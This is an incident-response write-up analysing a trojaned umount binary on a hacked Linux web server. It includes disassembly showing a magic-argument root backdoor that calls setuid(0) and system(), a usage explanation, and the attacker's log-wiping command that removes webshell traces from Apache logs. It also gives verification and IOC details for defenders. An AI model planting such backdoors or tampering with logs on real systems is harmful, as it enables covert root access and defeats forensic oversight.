Root Shell Malware Analysis
The Victim Host
A public facing Linux web server running Apache was found to be hacked
and was hosting malicious JavaScript.
During the inicident response it
was discovered that one of the standard binaries
/usr/bin/umount
had been replaced with one that allowed the bad actor
to run any command they wanted as root.
Reverse Engineering
To reverse engineer the binary, rizin was used.
$ rizin ./umount
Analyze all.
[0x00402ef8]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
The beginning of main() looks normal.
[0x00402ef8]> pdc 14 @main
; DATA XREF from entry0 @ 0x402f15
;-- section..text:
┌ 2539: int main (uint32_t argc, char **argv);
│ bp: 0 (vars 0, args 0)
│ sp: 10 (vars 10, args 0)
│ rg: 2 (vars 0, args 2)
│ 0x004024f0 push r15 ; [14] -r-x section size 7386 named .text
│ 0x004024f2 push r14
│ 0x004024f4 push r13
│ 0x004024f6 push r12
│ 0x004024f8 mov r12, rsi ; argv
│ 0x004024fb push rbp
│ 0x004024fc mov ebp, edi ; argc
│ 0x004024fe push rbx
│ 0x004024ff sub rsp, 0x68
│ 0x00402503 cmp edi, 3 ; 3 ; argc
│ ┌─< 0x00402506 jne 0x402515
│ │ 0x00402508 mov rax, qword [rsi + 8] ; argv
│ │ 0x0040250c cmp byte [rax], 0x78
│ ┌──< 0x0040250f je 0x402933
│ │└─> 0x00402515 mov qword [var_40h], 0
Except at 0x0040250c where it compares the first byte of the first argument
to the letter x
(0x78). If that matches, then it jumps
down to 0x00402933.
│ │ │└──> 0x00402933 cmp byte [rax + 1], 0x65
│ │ │ │ 0x00402937 jne 0x402515
│ │ │ │ 0x0040293d cmp byte [rax + 2], 0x6b
│ │ │ │ 0x00402941 jne 0x402515
│ │ │ │ 0x00402947 cmp byte [rax + 3], 0
│ │ │ │ 0x0040294b jne 0x402515
│ │ │ │ 0x00402951 call sym.imp.setsid
│ │ │ │ 0x00402956 xor edi, edi
│ │ │ │ 0x00402958 call sym.imp.setgid
│ │ │ │ 0x0040295d xor edi, edi
│ │ │ │ 0x0040295f call sym.imp.setuid
│ │ │ │ 0x00402964 mov rdi, qword [r12 + 0x10]
│ │ │ │ 0x00402969 call sym.imp.system ; int system(const char *string)
At that point it continues checking the first argument
for e
(0x65), then k
(0x6b), then zero.
If any of those do not match, it jumps back up to where it came from and continues as normal. I did not bother to truly confirm, but as best I can tell the umount command would perform its tasks just like normal.
If however that first argument equaled the string xek
, it would
then proceed to set group id and user id to zero, thus making it root,
before proceeding to run system() on all remaining arguments.
Usage
In order to run commands as root, just run umount
with
the first argument equal to xek
. It’s kind of like a
password. All arguments after that would be run in
their own shell.
It turns out, the bad actor would leverage a webshell to run arbitrary commands as root. Here’s an example of how they used the command to clear out their webshell usage from the Apache log.
umount xek cd /var/log/httpd;grep -v "cgi-bin/node.cgi" access_log > a;cat a > access_log;rm a
Verify Binaries
Redhat does provide a simple way to verify if a binary is untouched. Here it’s being used to show that the MD5 does not match.
[root@server1 ~]# rpm -V util-linux
..5...... /usr/bin/umount
Detections
Using VirustTotal no engine detected the altered binary
umount
.
Maybe the binary was build on the vicitm machine thus causing it to be unique.
IOCs
- f416b60fda46635182790fe35992812d7f7127625ab97540f7756ecfebc3a0dd umount
Sample
The sample is contained in this encrypted ZIP with the password infected
.